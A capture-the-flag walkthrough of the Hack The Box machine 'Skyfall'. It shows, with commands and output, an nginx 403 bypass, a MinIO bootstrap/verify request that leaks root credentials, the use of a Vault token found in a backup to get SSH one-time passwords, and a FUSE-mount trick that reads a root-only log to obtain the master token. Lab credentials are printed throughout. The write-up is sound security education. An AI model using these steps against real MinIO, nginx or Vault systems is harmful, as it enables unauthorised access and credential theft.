Skyfall

Reconnaissance
Port scan
╰─➤ fn 10.10.11.254
Running initial fast Nmap scan on 10.10.11.254...
Open ports: 22,80
Running detailed Nmap scan on ports: 22,80...
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 20:45 IST
Nmap scan report for 10.10.11.254 (10.10.11.254)
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 65:70:f7:12:47:07:3a:88:8e:27:e9:cb:44:5d:10:fb (ECDSA)
|_ 256 74:48:33:07:b7:88:9d:32:0e:3b:ec:16:aa:b4:c8:fe (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Skyfall - Introducing Sky Storage!
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.46 seconds
Scan complete. Results saved in ports.scan
Subdomain
You can Ctrl+u
to view the web page source code and see we have 2 sub-domains.
10.10.11.254 skyfall.htb demo.skyfall.htb
#/etc/hosts file
Web Attack
Nginx ACL + Flask strip()
We were able to login with default creds given:
guest:guest

I tried for LFI with remaining filename, or upload .php and trying to access it from somewhere. Although I didn't find anything, we can further move on for other approach.

The only interesting thing was this 403, WHY?
Well if we try to access /beta
the flask app restricts us, but for /metrics
nginx doesn't allow us to go forward, so that means....there's a website which flask can serve us if we bypass nginx 403.
Googling Nginx 403 bypass hacktricks
gives us this beautiful resource

Third title worked for me, Unsafe path restriction which leads us to the following page

Our nginx version is nginx/1.18.0 (Ubuntu)
We will add 0c
in our request

And VoiLA!!, we got in.
Info
Why this attack worked?
It's because nginx was set to return 403 on /metrics
request, but we were sending /metrics\x0c
request which was considered as different request and it was forwarded later to Flask.
Flask usually strips URLs before parsing them, so our /metrics\x0c
became /metrics
and the data of the webpage was returned back to us.
Anyway, back to web attack.
If we scroll down a bit, we can see it's using minIO
with:
minio_software_version_info
server: minio-node2:9000
version: 2023-03-13T19:46:17Z
It also gives us minIO
endpoint URL
minio_endpoint_url
demo.skyfall.htb
http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/cluster
Let's add this subdomain in our /etc/hosts
file.
MinIO
MinIO is a High Performance Object Storage API compatible with Amazon S3 cloud storage service.
It's like aws cli, with few other features.
MinIO bug
If we search the version number on google we find this article
The vulnerability exists in the API endpoint
http://your-ip:9000/minio/bootstrap/v1/verify.
Use the POC mentioned above by sending the request to retrieve
all environment variables.
Lets try curl the endpoint with the above URL.
─➤ curl -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify | jq
<< SNIPPED >>
"MinioEnv": {
"MINIO_ACCESS_KEY_FILE": "access_key",
"MINIO_BROWSER": "off",
"MINIO_CONFIG_ENV_FILE": "config.env",
"MINIO_KMS_SECRET_KEY_FILE": "kms_master_key",
"MINIO_PROMETHEUS_AUTH_TYPE": "public",
"MINIO_ROOT_PASSWORD": "GkpjkmiVmpFuL2d3oRx0",
"MINIO_ROOT_PASSWORD_FILE": "secret_key",
"MINIO_ROOT_USER": "5GrE1B2YGGyZzNHZaIww",
"MINIO_ROOT_USER_FILE": "access_key",
"MINIO_SECRET_KEY_FILE": "secret_key",
"MINIO_UPDATE": "off",
"MINIO_UPDATE_MINISIGN_PUBKEY": "RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"
}
}
YESSSSSS.... we got secret username and password.....
Install
mc
to interact with the minIO instance
User shell
Minio client
╰─➤ ./mc alias set skyfall http://prd23-s3-backend.skyfall.htb 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0 130 ↵
mc: Configuration written to `/home/kali/.mc/config.json`. Please update your access credentials.
mc: Successfully created `/home/kali/.mc/share`.
mc: Initialized share uploads `/home/kali/.mc/share/uploads.json` file.
mc: Initialized share downloads `/home/kali/.mc/share/downloads.json` file.
Added `skyfall` successfully.
Help menu of mc
will tell us how to list files,
ls list buckets and objects
# ./mc ls --help
# --versions list all versions
# --recursive, -r list recursively
ls --recursive skyfall
ls --recursive --version skyfall
What's version? It's basically like git commit, new version will have different data than previous version.
╰─➤ ./mc ls --recursive --versions skyfall 1 ↵
[2023-11-08 10:29:15 IST] 0B askyy/
[2023-11-08 11:05:28 IST] 48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT askyy/Welcome.pdf
[2023-11-10 03:07:25 IST] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT askyy/home_backup.tar.gz
[2023-11-10 03:07:09 IST] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT askyy/home_backup.tar.gz
[2023-11-10 03:06:30 IST] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT askyy/home_backup.tar.gz
[2023-11-08 10:28:56 IST] 0B btanner/
[2023-11-08 11:05:36 IST] 48KiB STANDARD null v1 PUT btanner/Welcome.pdf
[2023-11-08 10:28:33 IST] 0B emoneypenny/
[2023-11-08 11:05:56 IST] 48KiB STANDARD null v1 PUT emoneypenny/Welcome.pdf
[2023-11-08 10:28:22 IST] 0B gmallory/
[2023-11-08 11:06:02 IST] 48KiB STANDARD null v1 PUT gmallory/Welcome.pdf
[2023-11-08 05:38:01 IST] 0B guest/
[2023-11-08 05:38:05 IST] 48KiB STANDARD null v1 PUT guest/Welcome.pdf
[2023-11-08 10:29:05 IST] 0B jbond/
[2023-11-08 11:05:45 IST] 48KiB STANDARD null v1 PUT jbond/Welcome.pdf
[2023-11-08 10:28:10 IST] 0B omansfield/
[2023-11-08 11:06:09 IST] 48KiB STANDARD null v1 PUT omansfield/Welcome.pdf
[2023-11-08 10:28:45 IST] 0B rsilva/
[2023-11-08 11:05:51 IST] 48KiB STANDARD null v1 PUT rsilva/Welcome.pdf
Let's download askyy/home_backup
(all version)
We'll use mc cp
for this
╰─➤ ./mc cp --vid 3c498578-8dfe-43b7-b679-32a3fe42018f skyfall/askyy/home_backup.tar.gz ./askyy/v1/v1.tar.gz 1 ↵
...nd.skyfall.htb/askyy/home_backup.tar.gz: 1.18 MiB / 1.18 MiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 247.21 KiB/s 4s
╰─➤ ./mc cp --vid 2b75346d-2a47-4203-ab09-3c9f878466b8 skyfall/askyy/home_backup.tar.gz ./askyy/v2/v2.tar.gz
...nd.skyfall.htb/askyy/home_backup.tar.gz: 2.64 KiB / 2.64 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 2.11 KiB/s 1s
╰─➤ ./mc cp --vid 25835695-5e73-4c13-82f7-30fd2da2cf61 skyfall/askyy/home_backup.tar.gz ./askyy/v3/v3.tar.gz
...nd.skyfall.htb/askyy/home_backup.tar.gz: 2.48 KiB / 2.48 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 2.07 KiB/s 1s
Great we download all imp files, lets check what's the difference in all of these files...
─➤ find . -type f -exec md5sum {} \; | grep -v 'terraform' | sort
1f98b8f3f3c8f8927eca945d59dcc1c6 ./v3/.bashrc
22bfb8c1dd94b5f3813a2b25da67463f ./v2/.bash_logout
22bfb8c1dd94b5f3813a2b25da67463f ./v3/.bash_logout
2b6563a67dcb356b437e1091079bd485 ./v2/.ssh/id_rsa
673985d5b313f5bbcb57f6f389c31a0f ./v1/v1.tar.gz
68b329da9893e34099c7d8ad5cb9c940 ./v2/.bash_history
68b329da9893e34099c7d8ad5cb9c940 ./v2/.ssh/authorized_keys
68b329da9893e34099c7d8ad5cb9c940 ./v2/.viminfo
68b329da9893e34099c7d8ad5cb9c940 ./v3/.bash_history
68b329da9893e34099c7d8ad5cb9c940 ./v3/.ssh/authorized_keys
78f15c5244fe3d6013c52a0cec92c8a2 ./v3/v3.tar.gz
86079bcd6bd8879c36ee60654f8640a8 ./v2/.ssh/id_rsa.pub
a9b4e1836c4dee94570e252880d5c32e ./v2/.bashrc
d1d5bcb98383140b80c96786e7f7a8bd ./v2/v2.tar.gz
d41d8cd98f00b204e9800998ecf8427e ./v2/.cache/motd.legal-displayed
d41d8cd98f00b204e9800998ecf8427e ./v2/.sudo_as_admin_successful
d41d8cd98f00b204e9800998ecf8427e ./v3/.cache/motd.legal-displayed
d41d8cd98f00b204e9800998ecf8427e ./v3/.sudo_as_admin_successful
f4e81ade7d6f9fb342541152d08e7a97 ./v2/.profile
f4e81ade7d6f9fb342541152d08e7a97 ./v3/.profile
I decide to remove all similar and non-intersting files,
╰─➤ find . -type f -exec md5sum {} \; | grep -v 'terraform' | sort | grep -vE 'f4e81ade7d6f9fb342541152d08e7a97|d41d8cd98f00b204e9800998ecf8427e|68b329da9893e34099c7d8ad5cb9c940|22bfb8c1dd94b5f3813a2b25da67463f'
1f98b8f3f3c8f8927eca945d59dcc1c6 ./v3/.bashrc
2b6563a67dcb356b437e1091079bd485 ./v2/.ssh/id_rsa
673985d5b313f5bbcb57f6f389c31a0f ./v1/v1.tar.gz
78f15c5244fe3d6013c52a0cec92c8a2 ./v3/v3.tar.gz
86079bcd6bd8879c36ee60654f8640a8 ./v2/.ssh/id_rsa.pub
a9b4e1836c4dee94570e252880d5c32e ./v2/.bashrc
d1d5bcb98383140b80c96786e7f7a8bd ./v2/v2.tar.gz
Reading ./v2/.ssh/id_rsa.pub
reveals the username askyy
(askyy@skyfall
)
./v2/.ssh/id_rsa
has ssh private key
I tried ssh'ing the server with this private key, it doesn't work for some reason.
╰─➤ ssh -i ./v2/.ssh/id_rsa askyy@skyfall.htb #(yeah i did chmod 600)
The authenticity of host 'skyfall.htb (10.10.11.254)' can't be established.
ED25519 key fingerprint is SHA256:mUK/F6yhenOEZEcLnWWWl3FVk3PiHC8ETKpL3Sz773c.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'skyfall.htb' (ED25519) to the list of known hosts.
(askyy@skyfall.htb) Password:
# SEEE it doesn"t work :(
Let's remove those files from our search as well.
╰─➤ find . -type f -exec md5sum {} \; | grep -v 'terraform' | sort | grep -vE 'f4e81ade7d6f9fb342541152d08e7a97|d41d8cd98f00b204e9800998ecf8427e|68b329da9893e34099c7d8ad5cb9c940|22bfb8c1dd94b5f3813a2b25da67463f|id_rsa*|tar'
1f98b8f3f3c8f8927eca945d59dcc1c6 ./v3/.bashrc
a9b4e1836c4dee94570e252880d5c32e ./v2/.bashrc
Hmm interesting........
Hashcorp
╰─➤ diff v3/.bashrc v2/.bashrc
42a43,45
> export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
> export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
>

It's a hashicorp token, what's the token for? (Answer straight from google)
What is HashiCorp Vault used for? It is used to secure, store and protect secrets and other sensitive data using a UI, CLI, or HTTP API. A secret is anything that you want to tightly control access to, such as tokens, API keys, passwords, encryption keys or certificates.
It's basically like a password management tool, which gives you one time sign in password and rotates it everytime. Perhaps that why signing in with private key didn't work bcuz hashicorp changed the password and keys and that was the key valid only for a single login session. (this is just a guess)
Hashicorp client
You can download it from here
We can login and check if everything is working fine
╰─➤ export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
╰─➤ ./vault login
Token (will be hidden):
WARNING! The VAULT_TOKEN environment variable is set! The value of this
variable will take precedence; if this is unwanted please unset VAULT_TOKEN or
update its value accordingly.
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.
Key Value
--- -----
token hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE
token_accessor rByv1coOBC9ITZpzqbDtTUm8
token_duration 430875h41m13s
token_renewable true
token_policies ["default" "developers"]
identity_policies []
policies ["default" "developers"]
We are having developers role.
Ssh creds
Since the ssh didn't worked last time, because hashicorp changes password everytime, I decided to move on and get the creds working.
The above resource will guide us how to get password from the server.
#sample input snip i took from above resource
curl \
--header "X-Vault-Token: ..." \
--request POST \
--data @payload.json \
http://127.0.0.1:8200/v1/ssh/creds/my-role
# X-Valut Token is present in our env variable already
# my-role is something we need to figure out, if you go through the above resource,
# you can find list-roles section
╰─➤ ./vault list ssh/roles
Keys
----
admin_otp_key_role
dev_otp_key_role
# Our role ofc will be dev_otp_key_role
Inputing all values, we can now have user shell (FINALLY)
Contents of payload.json file
{
"ip": "10.10.11.254",
"username": "askyy"
}
╰─➤ curl \
--header "X-Vault-Token: $VAULT_TOKEN" \
--request POST \
--data @payload.json \
"$VAULT_ADDR/v1/ssh/creds/dev_otp_key_role" -s | jq
{
"request_id": "169b4ad6-4f97-f3f2-dbb1-5f0d10f728b3",
"lease_id": "ssh/creds/dev_otp_key_role/E9e2CSxalqEpmsyKf8Jq3QRf",
"renewable": false,
"lease_duration": 2764800,
"data": {
"ip": "10.10.11.254",
"key": "3aad6a0c-cfad-68cf-34cf-c0d72257d8c8",
"key_type": "otp",
"port": 22,
"username": "askyy"
},
"wrap_info": null,
"warnings": null,
"auth": null
}
╰─➤ ssh askyy@skyfall.htb
(askyy@skyfall.htb) Password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
askyy@skyfall:~$ id
uid=1000(askyy) gid=1000(askyy) groups=1000(askyy)
askyy@skyfall:~$
## DONEEEEEE
Root shell
askyy@skyfall:/tmp/heap$ sudo -l
Matching Defaults entries for askyy on skyfall:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User askyy may run the following commands on skyfall:
(ALL : ALL) NOPASSWD: /root/vault/vault-unseal ^-c /etc/vault-unseal.yaml -[vhd]+$
(ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml
askyy@skyfall:/tmp/heap$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -v
[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[-] Master token found in config: ****************************
[>] Enable 'debug' mode for details
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false
askyy@skyfall:/tmp/heap$ ls
Master token is basically root token, which can do anything, our end goal is to get master token and get root ssh creds. Read more about tokens here:
askyy@skyfall:/tmp/heap$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d
[>] Checking seal status
[+] Vault sealed: false
askyy@skyfall:/tmp/heap$ ls -la
total 12
drwxrwxr-x 2 askyy askyy 4096 Sep 1 18:18 .
drwxrwxrwt 13 root root 4096 Sep 1 18:18 ..
-rw------- 1 root root 590 Sep 1 18:18 debug.log
We can't read the file contents, this might has our master token key.
Since we can decide what directory to put the file in (debug.log), we can play with the filesystem.
We can see user_allow_other
option enables in /etc/fuse.conf
..... I found a good resource
This tutorial explains security flaws of having user_other_allow
In this case, any user making use of the filesystem has root privileges on that filesystem! If the process has access to the actual filesystem, this could easily be used to gain pretty much unlimited access.
Since user is making a file where we specify, and we have user_other_allow
option enabled, we can try for race conditions. Basically we will create a mount that will intake all data from current folder.
So i.e. our_mount -> original_folder So whatever data comes to original folder (even if as root), we can get that data in our_mount.
Honestly, this was my first time exploiting FUSE, I couldn't find good resource, so here's one from 0xdf/ippsec: https://github.com/hanwen/go-fuse
We can compile memfs
from examples/
folder.
server, err := fuse.NewServer(conn.RawFS(), mountPoint, &fuse.MountOptions{
Debug: *debug,
AllowOther: true,
})
//slight change, we need to add AllowOther: true,since it's enabled in /etc/fuse.conf
//if we dont add it, our exploit wont work because by default that feature is off everywhere

And done....... we now have admin token.
export VAULT_ROOT="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"
Edit our payload.json file
╰─➤ cat payload.json
{
"ip": "10.10.11.254",
"username": "root"
}
Edit our curl command
─➤ curl \
--header "X-Vault-Token: $VAULT_ROOT" \
--request POST \
--data @payload.json \
"$VAULT_ADDR/v1/ssh/creds/admin_otp_key_role" -s | jq
{
"request_id": "53c328f3-f604-5402-10fd-57d4512642ae",
"lease_id": "ssh/creds/admin_otp_key_role/LFeN97caTqUAJYAkwDFcdjt4",
"renewable": false,
"lease_duration": 2764800,
"data": {
"ip": "10.10.11.254",
"key": "9b0118c3-3084-b4c0-e475-2d556700f4ea",
"key_type": "otp",
"port": 22,
"username": "root"
},
"wrap_info": null,
"warnings": null,
"auth": null
}
# I changed 2 things,
# 1st. --header as $VAULT_ROOT
# 2nd. v1/ssh/creds/admin_otp_key_role
# changed from dev_otp_key_role to admin one
NOW let's ssh.
─➤ ssh root@skyfall.htb
(root@skyfall.htb) Password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Mar 27 13:20:05 2024 from 10.10.14.46
root@skyfall:~# id
uid=0(root) gid=0(root) groups=0(root)
root@skyfall:~#
FINALLY done.......superb box tbh. Learned a lot since this is my first Insane box.
_____________________heapbytes' still pwning.
Last updated